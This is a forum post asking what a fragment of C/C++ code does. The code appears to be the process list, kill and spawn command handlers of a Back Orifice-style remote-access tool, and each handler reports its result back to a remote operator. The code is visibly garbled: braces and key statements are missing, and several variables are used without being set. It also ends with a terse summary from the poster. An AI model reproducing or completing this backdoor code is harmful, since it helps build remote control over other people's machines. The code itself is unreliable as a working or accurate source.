Hi Experts,
Can anybody tell me what this Code do:


bool BOAPI CmdProc_ProcessList( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 )
      FCT *fct = &gs->fct;
      API *api = &gs->api;
      char svBuffer[1024];
      PROCESSINFO *pinfo,*cur;

      if(svArg2) if(svArg2[0]=='\0') svArg2=NULL;

      pinfo=fct->CreateProcListSnapshot(gs, svArg2);

      for(cur=pinfo;cur;cur=cur->next) {
            THREADINFO *pti;
            int nThreads;

            for(pti=cur->pThread;pti;pti=pti->next) nThreads++;
            api->pwsprintf(svBuffer,"(0x%X) %s  %d threads\n",cur->dwProcID,cur->svApp,nThreads);
            fct->IssueAuthCmdReply(gs, ctx, 0, svBuffer);
      fct->IssueAuthCmdReply(gs, ctx, 0, "End process list.\n");
      fct->DestroyProcListSnapshot(gs, pinfo);      
      return 0;

bool BOAPI CmdProc_ProcessKill( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 )
      FCT *fct = &gs->fct;
      API *api = &gs->api;
      // Get pid string (hex)
      char *svPid;
      svPid=fct->BreakString(svArg2,"0X", gs);
      if( svPid==NULL ) svPid=svArg2;
      // Convert to dword
      DWORD dwPid;
      while(*svPid) {
            char c;

            if(c>='A' && c<='F') c=c-'A'+0xA;
            else if(c>='0' && c<='9') c-='0';
            else c=0;


      // Open process handle
      HANDLE hProc;
      if(hProc==NULL) {
            fct->IssueAuthCmdReply( gs, ctx, BCC_ERR, "Could not access process.\n" );
            return false;
      if(api->pTerminateProcess(hProc,0)==0) {
            fct->IssueAuthCmdReply( gs, ctx, BCC_ERR, "Could not terminate process.\n" );
            return false;

      fct->IssueAuthCmdReply( gs, ctx, 0, "Process terminated.\n" );
      return true;

bool BOAPI CmdProc_ProcessSpawn( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 )

      HINSTANCE ShellExError;

            &pi)==0) {
            ShellExError = ShellExecute(NULL, "open", svArg2, NULL, NULL, si.wShowWindow);
            if (int(ShellExError)<= 32) {
                        gs->fct.IssueAuthCmdReply(gs,ctx,BCC_ERR,"Could not spawn process.\n");
                        return false;

      gs->fct.IssueAuthCmdReply( gs, ctx, 0, "Process spawned.\n" );
      return true;

In general terms, it simply,

CmdProc_ProcessSpawn = Executes a process (Application)

CmdProc_ProcessKill = Terminates a process (Applicatin)

CmdProc_ProcessList = a list of the processes, which it then iterates and does something with
